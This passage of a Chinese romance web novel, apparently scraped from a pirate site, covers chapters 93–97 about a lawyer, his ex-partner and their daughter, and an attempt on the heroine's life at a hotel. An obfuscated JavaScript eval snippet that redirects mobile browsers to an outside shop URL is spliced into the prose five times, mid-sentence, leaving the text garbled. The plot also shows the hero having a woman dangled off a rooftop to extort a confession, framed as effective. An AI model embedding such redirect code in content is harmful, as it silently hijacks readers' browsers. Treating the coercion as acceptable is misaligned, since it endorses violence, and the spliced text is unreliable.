“我醒来的时候看爸爸妈妈抱在一起睡得好香好香,我就自己下来了,正好,上次的《小猪佩奇》我还没有看完,我一直惦记着呢。”青柠仰着小脸,看看贺淮钦又看看温昭宁,小脸上带着一种“我很懂事”的得意小表情。 温昭宁的脸瞬间热了起来。 青柠这话是什么意思? 她醒来的时候看到爸爸妈妈抱在一起? 怎么可能? 青柠明明睡在他们的中间,他们怎么可能越过青柠抱在一起? 这中间发生了什么? 难不成,是青柠翻过他们其中一个人,睡到大床的另一边去了? 温昭宁看了贺淮钦一眼,贺淮钦不知道是没听出青柠的话有什么奇怪,还是不觉得他们抱在一起睡有什么奇怪,总之,他脸上没什么反应。 “青柠饿不饿?”贺淮钦走到女儿身边,将她抱起来,“想吃什么,爸爸点外卖。” “我想吃麦当劳。” “别的呢?别的有没有想吃的?” “没有了。” 贺淮钦问完女儿,又转头看向温昭宁:“你呢?想吃什么?” “我都行。” 贺淮钦“嗯”了一声,放下青柠,去打电话。 “青柠,你先暂停一下《小猪佩奇》,妈妈带你上去洗漱一下好吗?” “好。” 青柠乖乖按下了暂停键。 温昭宁带着女儿上去洗漱。 “青柠,你早上醒来的时候,真的看到爸爸和妈妈抱在一起睡觉吗?”温昭宁一边给女儿扎辫子,一边向她确认。 “对啊。” “可你不是睡在爸爸妈妈中间吗?” “我也不知道,我醒来的时候,是爸爸睡在中间。” 第93章 一起睡觉觉 贺淮钦睡在中间? 好吧。 温昭宁现在可以确定了,一定是青柠睡着了从贺淮钦身上翻过去了,青柠小的时候睡觉就这样,满床乱爬,温昭宁为此还给床的每一面都装上了护栏,防止青柠掉在地上。 青柠洗漱好,扎完辫子,又跑下楼去看动画片了。 温昭宁开始自己刷牙。 主卧的洗手间很大,装修是极简的冷色调,干湿分离,纤尘不染,贺淮钦的所有物品都摆放得整整齐齐,她极有分寸感地不碰到他的任何东西。 她牙还没刷完,贺淮钦上来了。 他见她在刷牙,立定在洗手间的门口。 “怎么了?”温昭宁问。 “我来拿刮胡刀。” 温昭宁赶紧往边上让了让。 贺淮钦走进了洗手间。 之前,他们经常站在这个位置,并肩刷牙,好几次,两人洗漱好,一个对视,感觉上来了,他直接将她抱起来放在洗手台上就…… 温昭宁脑海里闪过一些不合时宜的画面,呼吸一下子就乱了,她赶紧又往后退了一步,离他远远的。 贺淮钦感觉她有点不对劲,抬眸朝她看过去。 温昭宁身上穿着他的T恤,T恤宽大,松松垮垮地罩在她的身上,勾勒出一种难以言喻的禁忌感。T恤下摆随着她的动作轻轻晃动,时而露出更多大腿的肌肤,时而遮掩,那双笔直纤细的腿,在清晨充足的光线下,白得有些晃眼。 她微微低着头,长发有些凌乱地散在肩头,牙刷含在嘴里,整个人都散发出一种慵懒的性感。 贺淮钦又燥热起来,喉咙像被什么堵住了,有些发干,那些在温昭宁脑海里不断闪回的翻云覆雨的画面,也同样在他脑海里不断闪回。 晨间本就不安分的身体,现在更不安分了。 他移开视线,不再多看温昭宁一眼,从置物架上一把抓起自己的刮胡刀,转身就往外走。—— 温昭宁洗漱好,换好自己的衣服下楼。 青柠还在看电视。 “宝贝,差不多咯,再看小眼睛要看坏咯。” “那我这集看完可以吗?” “好。” 青柠说话算话,看完她正在看的那一集,就把电视机关了 。 正好,外卖送来了。 温昭宁把外卖袋子拿进餐厅,袋子一打开,食物的香味立刻飘了出来。 “哇,好香啊!青柠迫不及待地想要吃汉堡,可是贺淮钦还没有下来,“妈妈,爸爸呢? “楼上。 “他怎么这么慢? 温昭宁也觉得奇怪,贺淮钦为什么这么慢? “青柠,你去看看。 “好。 青柠“哒哒哒跑到楼道口,贺淮钦正好下来。 他黑发湿湿的,明显冲过澡了。 “爸爸,你怎么一大早洗澡啊?青柠问。 贺淮钦的目光不自然地扫过温昭宁,清清喉咙说:“爸爸刚才在书房不小心碰翻了墨水。 谁家好人一大清早进书房用墨水的?况且,他今天进过书房吗? 这话也就骗骗小孩子。 青柠天真地“哦 “爸爸妈妈,我们一起吃早饭吧。 “好。 三人一起坐在餐桌前吃早餐。 青柠很久没有吃汉堡了,她咬了一口后,满足地眯起眼睛:“好好吃,好开心。 贺淮钦见一个汉堡就让女儿满足成这样,忍不住勾了一下唇:“有那么好吃吗? “当然有啊,可惜妈妈平时不怎么让我吃。 “因为妈妈希望你能多吃健康的食物。温昭宁说。 “那妈妈我问你,面包健康吗? “健康。 “生菜健康吗? “健康。 “牛排健康吗? “健康。 “既然它们都是健康食物,那为什么组合在一起就变得不健康了呢? 温昭宁彻底被问住了。 青柠这逻辑能力,这口才,真不愧是贺大律师的女儿。 贺淮钦一副“看热闹不嫌事大的模样,慢条斯理地喝着咖啡,等着温昭宁的回答。 温昭宁直接在桌下踢了他一脚。 贺淮钦蹙眉,差点被咖啡呛到。 “…… “青柠这个问题问得真棒,那就让博学多才的爸爸来给你解答一下吧。温昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134917|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁转头就把问题抛给了贺淮钦。 “好啊好啊爸爸你来说。”青柠眨巴着眼睛她是真的好奇。 “是这样的宝贝汉堡的单个成分本身确实含有蛋白质、碳水化合物和维生素等营养但组合成汉堡后它的整体营养结构就发生了变化。” “什么变化呢?” “就比如汉堡胚通常都是由精制面粉制成的一个汉堡里有两层汉堡胚它的精制碳水化合物占比就会过高。汉堡中只有一点点的生菜它的蔬菜占比就会严重不足另外汉堡中的肉饼大多都是油炸或加工肉类为了提升风味汉堡中的酱料也是高盐高糖的酱料所以它们组合在一起看似健康其实营养不均衡而且热量也很高。”贺淮钦摸摸青柠的头“爸爸这样解释你明白了吗?” 其实青柠并不是完全理解贺淮钦的话她只关心一件事情:“那我偶尔吃一下没事吧?” “对偶尔解解馋没事。” 青柠得到贺淮钦的这句肯定像得了什么免死金牌转头对温昭宁说:“妈妈你听到了吗爸爸说偶尔解解馋没事的。” “听到了。”温昭宁点了点青柠的小鼻子“那必须是偶尔哦。” “好。” 三人吃完早餐贺淮钦要准备去出差了温昭宁也准备带青柠回悠山。 这次他们只在一起了一个晚上青柠显然意犹未尽。 “爸爸你出差去几天?” “一个礼拜。” “那一个礼拜后你会来看我吗?” “当然会爸爸一有空就来看你。” “太好了。”青柠拍了拍小手仰头一脸纯真地问“那等你回来我们三个人还能一起睡觉觉吗?” 空气突然一静。 温昭宁想起早上和贺淮钦两人紧紧相拥着醒来的画面耳根子一热。 贺淮钦显然对这个问题也有些措手不及。 尴尬的气流在两个大人之间来回涌动青柠浑然不觉:“你们为什么不说话?是不可以了吗?可为什么不可以呢?早上你们还抱在一起睡得好好的呢!” “咳咳咳——”贺淮钦把青柠揽到身边扯开话题说“青柠爸爸还要赶飞机如果爸爸迟到了 青柠怕耽误爸爸的正事赶紧点点头:“那好吧爸爸再见。” “再见宝贝。” 第94章 爸爸的视频电话 温昭宁开车带着青柠回到了悠山。 回到家后,青柠做的第一件事情就是打开温昭宁的微信,给贺淮钦发信息。 “爸爸爸爸,我们到家咯。”附加一连串的爱心。 贺淮钦在机场候机,给青柠拍了一张飞机的照片:“好,在家乖乖的,下次爸爸带你去坐飞机玩。” 青柠:“好。” 父女俩聊完,青柠把手机还给了温昭宁。 温昭宁去了民宿。 边雨棠正在教新来的小姑娘小洁怎么拍摄素材,看到温昭宁回来,边雨棠快步过来。 “宁宁,你有没有收到邀请?” “什么邀请?” “第三届‘自媒体百大博主’年度颁奖典礼。” “自媒体百大博主”年度颁奖典礼是自媒体官方平台为内容创作者举办的年终表彰大会,能受邀参加的,都是内容产出有创意,且流量稳定的自媒体博主。 边雨棠去年就被邀请过,最后拿了一个年度优秀新人奖,奖金五万。 “我没收到邀请。”温昭宁说。 “按照官方公布的消息,邀请函是今天早上刚发的,你今天早上登过账号了吗?” “还没有。” “那你快看看后台有没有私信。” 温昭宁打开了自己的账号,她一天没看,后台私信就被粉丝的各种消息塞得满满的。 她找了一圈,还真有官方发给她的一张电子邀请函,邀请函上面写着她的账号ID。 “雨棠姐,我被邀请了!”温昭宁有点受宠若惊。 在自媒体这个圈子里,温昭宁算是新人中的新人,能被邀请,简直就是莫大的肯定。 “太好了,我就猜到你一定会收到邀请的!”边雨棠发自内心地为温昭宁高兴,她指着邀请函下面的回执,“你把回执填一下,尤其是上面的联系方式和地址,官方工作人员会通过这个地址给你寄纸质邀请函。” “好。” 三天后,温昭宁就收到了纸质邀请函。 她摩挲着邀请函上烫金的名字,一种从未有过的自豪感从心底最深处升起。 这份认可,就像是一剂强心针,让她更坚定了在自媒体这条道路上走下去的决心。 为了参 加颁奖典礼,温昭宁决定去租一件礼服。 她打电话给苏云溪,问苏云溪什么时候有空陪她去参谋参谋。 苏云溪一听她要参加颁奖典礼,立刻说:“陪你试礼服,我随时都有时间。 周六,温昭宁带上青柠,又去了一趟沪城。 苏云溪好久没有见青柠了,一见面,抱着青柠直rua她的小脸颊。 “青柠,快说有没有想我? “想。青柠抱着苏云溪,“我超级想溪溪姨姨的。 “哎哟,这小嘴真甜啊。苏云溪越看青柠越喜欢,开玩笑道:“宁宁,国家不是提倡要孩子嘛,我就想要你家这个! 温昭宁笑:“你这么喜欢孩子,怎么不考虑生一个?你和霍郁州现在婚姻也挺稳定的。 苏云溪摇头:“我们只是婚姻稳定,又没有感情。 他们没有感情吗? 婚前可能真的没有,现在,未必。—— 市中心礼服高定店内。 温昭宁一进门,就看中了一条黑色的吊带礼服,礼服是真丝缎面的,设计极其简约,没有多余的装饰,全靠精准的裁剪和面料本身的光泽取胜,唯一让温昭宁有些犹豫的是,礼服高开叉。 这样的款式,过于性感,也过于夺目了。 “宁宁,喜欢你就试试啊!这件你穿绝对好看!苏云溪看穿她的顾虑,在旁鼓励,“拜托,你可是温大小姐,还有什么礼服是张扬美丽的温大小姐hold不住的? “好,那我去试试。 温昭宁走进试衣间,换好礼服出来,当她看到落地镜中的自己时,怔愣了一下。 镜中的她,身形纤秾合度,礼服贴身的设计,将她玲珑的曲线勾勒得淋漓尽致。深V领口恰到好处地露出她精致的锁骨和一小片白皙的肌肤,最点睛的是这条裙子的高开叉设计,和温昭宁那双又白又纤细的大长腿相得益彰。 她几乎不认识这样的自己。 “哇塞,妈妈好美呀!捧场王青柠第一个提供情绪价值,她一边夸还一边拿着温昭宁的手机对着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134918|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍个不停。 温昭宁以为青柠只是拍着玩,也就没有阻止,还特意朝她摆了几个pose。 “宁宁,你真是美炸了,看看这锁骨这胸这腰 这腿,该瘦的地方瘦,该有肉的地方有肉,别说男人呢,我一女的看了都血脉喷张。”苏云溪夸张地捂住心口,做出一副被美到窒息的样子,“那个贺淮钦真是蠢笨如猪,他和你打什么抚养权官司嘛,换了我,我就两个都要。” “霍太太,背后说人,不是个好习惯。” 贺淮钦的声音忽然传来。 温昭宁和苏云溪都吓了一跳。 “哪里来的声音?” 苏云溪心虚地朝四周张望了一圈,贺淮钦也没来啊。 “溪溪姨姨。”青柠晃了晃手里的手机,有点不好意思地吐吐小舌头,“这里。” 苏云溪这才看到,青柠手里的手机,正显示着视频通话的界面,而对面,正是刚刚被她吐槽“蠢笨如猪”的贺淮钦本人。 “青柠,你什么时候打开的视频通话?”温昭宁走到青柠身边,压低了声音问她。 “刚才妈妈进去试礼服的时候,我就打了爸爸的视频电话。” 温昭宁无语。 所以,青柠刚才对着她拍来拍去,不是在拍照,是在给贺淮钦展示她穿礼服的样子。 而她,一无所知,甚至还朝青柠的镜头摆了几个pose,真是尴尬。 “青柠宝贝……” “妈妈,对不起,我只是想让爸爸也帮忙参谋参谋妈妈穿哪件礼服更漂亮。” 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 温昭宁闻言,干脆拿回了自己的手机,对着手机镜头里的贺淮钦问:“贺律师,你说你悄悄看了这么久,那你发表一下意见吧,你觉得我这件礼服怎么样?” “不怎么样。”贺淮钦嫌弃的评价。 温昭宁原本还想听他夸一下自己,没想到等来的是一盆冷水。 “行,谢谢你的意见。”她一身反骨,立刻拍板,“那我就选这件!” 第95章 高空坠物 温昭宁说完,就挂了视频电话。 贺淮钦坐在意大利分所的办公室里,看着黑下去的屏幕,脑海里不断闪回温昭宁穿着那条礼服裙的样子。 叉开得那么高,是要通天吗? 还有她那条在镜头里一闪而过的腿,像带着灼热的浪,勾缠住他。惹得他大白天在办公室就躁动不已。 她要穿着那样性感的礼服去哪儿? 贺淮钦拨通了陈益的电话。 “你查一下,温昭宁的民宿最近有没有什么活动?” “是,贺律。” 陈益办事效率挺高,没一会儿,就把电话打了回来。 “贺律,民宿最近没有什么活动,不过,我听说温小姐将参加第三届‘自媒体百大博主’年度颁奖典礼。” “几号?” “十号。” “给我订九号的机票回国。” “是,贺律。”—— 第三届‘自媒体百大博主’年度颁奖典礼十号在湖岸酒店举行。 温昭宁根据主办方的安排,提前一天来到酒店。 她刚走进酒店,还没有办入住,就碰到了一个她没想过会再见的人——杜茵。 杜茵穿着酒店的制服,正弓着腰微笑引导客人走进电梯。 温昭宁一愣。 她没想到,当初在民宿那么没有边界感向她索要贺淮钦联系方式的人,自己本身也是从事酒店行业的。 这就更让温昭宁觉得杜茵当初的行为有多离谱。 杜茵显然也没有料到会再遇温昭宁,当她抬起头,对上温昭宁视线的刹那,她的脸上闪过一丝尴尬。 温昭宁对这人没什么好感,甚至有些讨厌,因为杜茵退房后,她在网络平台上给温昭宁的民宿打了很多负分,还写了长长的差评。 差评的大意就是,民宿老板娘私生活不检点,与女客人雌竞,与男客人勾勾搭搭之类的。 完全就是无中生有的脏水。 杜茵不知道,她随手一笔,温昭宁花了多长时间,才消除这条恶评给民宿带来的影响。 这人完全就是搅屎棍。 温昭宁只当没有看到她,径直走到前台去办理入住手续。 等她办理好入住,杜茵已经送客人上楼,不 在大厅里了。 很好,别再打照面最好。 温昭宁没有把这一桩偶遇放在心上,去房间安置好行李后,她就拿着手机和手机支架下了楼,准备多拍一些素材,到时候剪一期参加颁奖典礼的vlog,和粉丝分享好消息和荣誉。 她先在酒店里逛了一圈,看到颁奖典礼的箭头路标牌时,她忽然想到一个不错的视频开头。 于是,温昭宁停下来,就在她找到一个绝佳角度,微微后退一步,准备按下录制键的时候,耳边忽然传来一声“小心。 好像是贺淮钦的声音。 温昭宁根本来不及反应小心什么,下一秒,就见贺淮钦朝她扑了过来,猛地将她一揽,温昭宁被他牢牢护在怀里,她的脸颊贴着贺淮钦剧烈起伏的胸膛,那一瞬间,她能清晰地听到他失序的心跳。 “砰—— 紧接着,一声令人头皮发麻的巨响,炸开在温昭宁的脚边,碎石粉尘和泥巴蹦到她的裤腿和鞋面上。 是一个花盆,一个花盆从高空坠落了下来! 所有一切,都发生在电光火石之间。 从被贺淮钦揽到一旁到花盆坠落,不过一两秒的时间。 而这一两秒的时间,差点要了她的命。 “怎……怎么回事?温昭宁抓紧了贺淮钦的衣襟,带着劫后余生的后怕和眩晕,双腿酥软,差点没站稳。 “没事了。贺淮钦紧紧揽住她的腰,将她固定在他臂弯里,然后,他抬起头,眼神锐利地往上望去。 刚才那一下太快了,没看清楚花盆从哪一层落下来的,但花盆落下来之前,他分明看到了一个模糊的人影。 那人影应该就是让花盆坠落的元凶。 只是贺淮钦难以断定,这是冲温昭宁来的?还是纯属意外? 酒店的工作人员听到声响,匆匆赶来。 “先生、女士,你们没事吧? “我们没事,但刚才的高空抛物是人为的,请酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134919|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店方立刻报警彻查。贺淮钦言辞冷厉。 “好好好,我立刻去汇报领导。 酒店的工作人员又匆匆跑开了。 温昭宁听到那句“人为的 她一想到自己刚才差点交代在这里,再也见不 到女儿和母亲了,她整个人就陷入了无边的恐惧当中。 “好了,没事了,别怕。 贺淮钦将她拉到一旁的座椅上坐下,他脱下自己的外套,裹在温昭宁的身上。 温昭宁感觉到他外套内衬的暖意,一点一点熨平她起伏的情绪。 大概十分钟后,附近的**赶了过来,**给温昭宁和贺淮钦做了一个简单的笔录后,就和酒店的工作人员一起去排查现场了。 温昭宁虽然还是后怕,但人已经渐渐平静下来了。 “你住几楼?贺淮钦问。 “六楼。 “走吧,送你上去。贺淮钦拿起了她的拍摄支架。 温昭宁机械地点点头,跟着贺淮钦绕过花坛,去搭乘电梯上楼。 她住在603号房间。 两人走到温昭宁所居住的603房间门口后,贺淮钦停下了脚步。 “你先进去休息吧,别多想,有事给我打电话,我住在八楼,他说完,把拍摄支架往门口一放,就准备转身离开。 然而,就在贺淮钦转身的刹那,温昭宁的手忽然伸过来,攥住了他针织衫的衣摆。 她的力道不大,甚至有些虚软,却像是一道无形的绳索,瞬间绊住了他的脚步。 “能不能……温昭宁看着贺淮钦,带着鼻音挤出几个字,“陪陪我…… 贺淮钦不说话。 “就一会儿…… 空气仿佛凝固了。 走廊里安静得能听到两个人的呼吸声。 贺淮钦沉了沉气,没说好,也没说不好,只是问她:“你的房卡呢? “在我兜里。 “那还不掏出来开门? 他这是答应她留下来陪她了! 温昭宁赶紧松开他,手忙脚乱地去掏房卡开门,好像怕慢几秒,他就走了。 第96章 追我的人多了去了 酒店六楼是普通的大床房,和贺淮钦住的八楼总套整体构造完全不一样。 温昭宁的行李箱摊开了放在地上,里面的衣物叠放得很整齐,她的内衣裤分别用透明的抽绳袋装着,放在衣物的最上面。 贺淮钦扫了一眼,挪开视线,从她的行李箱边绕开,走到半落地的窗边,背对着温昭宁。 温昭宁趁势,赶紧把她的行李箱合上,拖到一边。 她身上还披着贺淮钦的外套,拖动行李箱的时候,外套从她身上滑落下来。 温昭宁下意识地捡起拍了拍,然后,她看到了贺淮钦的外套上有一道狭长的擦痕,深色的羊绒面料表面的羊绒被刮得翻卷起来,露出底下浅一些的织物底色,擦痕的边缘,还沾着一些泥土。 所以,刚才那个花盆坠落的时候,剐蹭到他了? 温昭宁的心瞬间逼仄。 她想起贺淮钦刚才扑过来,侧身护着她的场景,他当时一声没吭,所以温昭宁根本不知道花盆蹭到他了。 “你的外套破了。”温昭宁走到贺淮钦身边,将外套上的擦痕指给他看。 “破了就不要了。”贺淮钦无所谓地说。 “那你受伤了吗?”她有点担心,那么花盆从那么高的地方砸下来,哪怕只是稍微蹭到一点,那力道也不会轻。 “没有。” 他回答得太快,让温昭宁产生了一丝怀疑,她的目光紧紧锁着他的眼睛,试图找到一丝隐瞒的痕迹。 “我看看行吗。” “怎么看?”贺淮钦抬眸看她一眼,“要我脱衣服给你看?” 温昭宁默了两秒:“脱衣服看怎么了?又不是没看过。” “看过又怎么了?看过你想看就能随时扒开看了?” “我只是想确认一下你有没有受伤?” “没有。”他再一次否认。 “没有就最好。” 温昭宁不执着了,免得他还以为是她要对他图谋不轨。 她把贺淮钦的外套放到沙发上,自己坐到一旁,贺淮钦继续立在窗边,背对着她。 温昭宁看着贺淮钦那道存在感极强的背影,开始后悔自己怎么就鬼使神差地拉住了他,还提出了那样暧昧又脆弱的请求。 现在好了,他人是进 来了,可这气氛真是又尴尬又奇怪。 “你……你不是在国外出差吗?”温昭宁开口,“怎么会在这里?” “有事。”贺淮钦言简意赅。 他说“有事”的时候,目光不经意地扫过房间里那个开放式的衣柜,衣柜里面,挂着那天他在视频里看到的高开叉礼服裙。 温昭宁也不好打听是什么事,话题再一次断了。 两人又沉默了一会儿,贺淮钦忽然开口:“你这次过来,有没有得罪什么人?” “没有吧,我今天刚到,还没碰到什么人呢……”温昭宁说着,忽然想起什么,“对了,我倒是想到了一个人,你也认识。” “谁?” “杜茵。” “没印象。” “就是之前追你的那个。” “追我的人多了去了。” “……” 死傲娇。 可偏偏他说这话,又不违和。 他这样的男人,有钱有颜又有身材,身边追他的女人,能不多吗? “就是之前在民宿,追你的那一个。” 贺淮钦想了想,这才似乎有了一点印象。 “你刚才说她叫什么?” “杜茵。” “你怎么得罪这个杜茵了?” “就是之前在民宿的时候,她来找我要你的联系方式,我拒绝了没有给她……” “你为什么不给她?”贺淮钦冷不丁地打断了温昭宁的话。 温昭宁眉心一跳:“这是重点吗?” “这是你们积怨的缘由,怎么不算重点?” “好吧,因为当时你是我们民宿的客人,我作为民宿的负责人,当然不能随随便便把客人的信息泄露给别人,况且,你又不喜欢她。” “你怎么知道我不喜欢她?” “不是你自己说的吗,那位杜小姐一直纠缠你,怪让你害怕的,还让我帮帮你。然后,你就把我抵在窗台上… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134920|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 温昭宁回想起那日,贺淮钦赤裸着上半身将她抵在窗台上,不仅掐她的腰,还让她摸他,他们贴得很近很近,近到像是在接吻。 她的脸热起来,有点说不下去了。 贺淮钦正听得入神,温昭宁止住话音,他抬眸看着她,一 本正经地问:“抵在窗台上干什么? “你真忘了假忘了? “真忘了。 他什么时候记性这么差了? 温昭宁没好气:“忘了就忘了吧,反正这不是重点。 “不是重点你怎么会提到? “我…… “展开说说。 “细节我也忘了。温昭宁揉了下太阳穴,执意跳过这段,“反正就是,杜茵正好看到我们两个人在一起,然后,她误会了我们的关系,也误会了我先前不愿给她你的联系方式是因为我谋私。她当天就退房走了,之后,她不仅在平台上给民宿打差评,还给我造黄谣。 造黄谣? 那个女人竟然还给温昭宁造过黄谣? 贺淮钦皱眉:“你怎么从来没有说起过这件事? “我在平台上举报她了,我以为这件事情就算过去了,没想到今天……温昭宁顿了顿,“当然,也不一定就是杜茵干的,只是,她正好在酒店工作,如果真的是有人要害我,她有动机,也有实操的条件。 贺淮钦眉宇间的神色变得冷硬。 他怎么也没想到,今天温昭宁遭遇的意外,兜兜转转竟然还和他有关系。 是他大意了,当初没有妥善处理好那个女人,以为和温昭宁制造亲密的假象就能让对方知难而退,结果反而把温昭宁卷进了别人的怨恨中,今天甚至让她身陷危险。 也幸好,他提前改行程回来了,否则,后果真是不堪设想。 “这件事情我去处理,你先休息。贺淮钦说着,就往外走,走到门口,忽然又停下脚步,看向她:“还怕吗? 好像她说怕,他就会继续留下来。 “不怕了。温昭宁说。 “嗯,把门窗锁好,等我消息。 “好。 第97章 担心你 贺淮钦从温昭宁房间出来,就回了八楼。 陈益正在房间里等贺淮钦。 老板不是说去楼下转转就上来吗?怎么去了这么久? 听说楼下发生了高空抛物的意外,陈益忽然有点担心,他正打算下楼去找人,房门被敲响了。 陈益赶紧打开门,发现门外站着的人是贺淮钦。 “贺律,怎么是你啊?”陈益意外,“你的门卡呢?” 贺淮钦还没回答,陈益又发现老板的外套也不见了。 “你的外套呢?” “你问题真多。”贺淮钦拨开陈益,走进房间。 “我听说刚刚有人高空抛物,警察都来过来了,我不是担心你嘛。”陈益亦步亦趋地跟着贺淮钦。 贺淮钦脚步停下来,陈益一个没注意,就撞了上去。 说撞其实也就轻轻地碰了一下贺淮钦,可贺淮钦却发出夸张的一声“嘶”。 陈益:“……” 碰瓷? “帮我看看我背上的伤。”贺淮钦说着,一把掀了自己身上的衣服,露出肌肉线条流畅的上半身。 他的后背,左肩胛骨的位置,很深的一块青紫色。 “不是吧!我撞的?”陈益不敢相信自己的眼睛,他刚才真的只是轻轻地碰了老板一下,为什么这么严重? “你有这本事,还跟着**什么?” “那……那这怎么回事?” “被坠落的花盆刮蹭了一下。” 贺淮钦说得云淡风轻,但其实,刚刚被刮擦到的那一瞬间,他痛得都快裂开了,而他之所以瞒着没说,是因为他见温昭宁被吓得直发抖,不想再增加她的心理负担。 “什么,高空抛物还真砸到你了?”陈益一时不知道该说老板是幸运还是倒霉,“那我现在给你安排医生过来看看。” “不用了,让人送个药膏过来,我自己擦一下就行了,你去帮我办一件别的事情。” “什么事?” 贺淮钦凑到陈益面前,低声说了句什么。 陈益惊了惊:“贺律,这证据就算拿到了上庭也不合法吧?” “谁说我要上庭?” “好,那我现在去安排。”—— 贺淮钦离开房间一小时后,温 昭宁收到了贺淮钦的信息。 “下来,一楼大厅。 温昭宁还没回复,第二天信息又紧接着过来:“人抓到了。 这么快? 温昭宁不禁感慨贺淮钦的办事速度。 她赶紧穿上外套搭电梯下楼。 酒店大堂,挑高的穹顶,巨大的水晶吊灯折射着璀璨却冰冷的光,黑亮如镜的大理石地面倒映出往来宾客模糊的身影。 温昭宁一走出轿厢,就看到了贺淮钦。 他站在巨大的落地窗前,衣服已经换过了,深灰色的圆领羊绒毛衣,露出内搭的白T圆领,下面是一条同色系长裤,松弛又不失气质。 温昭宁走到他身边。 “你说人抓到了?人在哪儿? 贺淮钦抬了抬下巴,示意她往外看。 酒店外面的广场上,杜茵正跌坐在广场中央掩面哭泣,她身旁,有个音响在循环播放着一段话:“花盆是我推下去的、花盆是我推下去的…… 是杜茵的声音。 温昭宁难以置信地看向音响,又转头看了看贺淮钦。 也不知道贺淮钦用了什么方法,让杜茵承认了高空抛物,还给录了下来。 今天酒店发生高空抛物的事情,酒店内外早就传开了,这事性质极其恶劣,酒店高层震怒,下令彻查,谁都没想到,高空抛物的人竟然是酒店的员工,还是平时温温柔柔,看起来人畜无害的杜茵。 “真是蛇蝎心肠啊。 “差点砸**,她怎么敢的? “这和**有什么区别? 杜茵身边,围了很多酒店的工作人员和看热闹的人,大家都看恶魔一样瞅着杜茵。 酒店经理正在给警察打电话,义愤填膺地说今天高空抛物的人已经抓到了。 没一会儿,警察赶来现场。 杜茵被人拉起来,双腿抖得站不住。 “我不是故意的!我不是故意的!杜茵被拉上警车的时候,扒拉着警车的车门哭喊,“我真的不是故意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134921|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我只是想吓一吓她,我没想到花盆落下去会这么准!我没想**! 温昭宁的心一阵“突突乱跳,虽然她下楼的时候已经做好了心理准备,但亲耳听到杜茵承认是她把花盆推下来的那一瞬,她 整个人还是脊背发凉。 人怎么可以坏到这种程度? 她以为只是一点小小的**,对方却可以狠到要她命的程度。 警察根本不理会杜茵的哭喊,直接将她塞进了警车载走了。 温昭宁看着警车呼啸离开,又在原地站了许久,才缓过劲儿来。 “你用了什么办法,她这么快就招了?温昭宁问身边的贺淮钦。 “把她拎上天台,让她感受一下即将坠落的感觉,她就什么都招了。 温昭宁以为自己听错:“你说什么? “你没听错。贺淮钦神色淡淡的,“就是你想的那样。 半小时前,陈益在外找了两个人,堵住了即将下班的杜茵,将杜茵从楼道里拎到了顶楼天台,将她倒挂在天台的栏杆上,让她感受了一下像物品一样即将向下坠落的感觉。 杜茵吓得丢了魂,当场就招了,是她送完客人,在五楼看到温昭宁在楼下,就把走廊里装饰绿化的花盆,随手推了下去。 她之所以敢这么做,是因为知道五楼走廊的监控坏了,是她报的维修,而维修工人要明天才能来修。 什么不是故意的,她就是纯坏。 陈益提前准备好了录音笔让那两人带着,这也就有了刚刚音响里播放的那句“花盆是我推下去的。 温昭宁还是觉得不可思议。 她原本以为贺淮钦是用合法合规的途径收集到了证据,没想到,他用的竟然是这么简单粗暴的方式。 “你……你这样好吗? 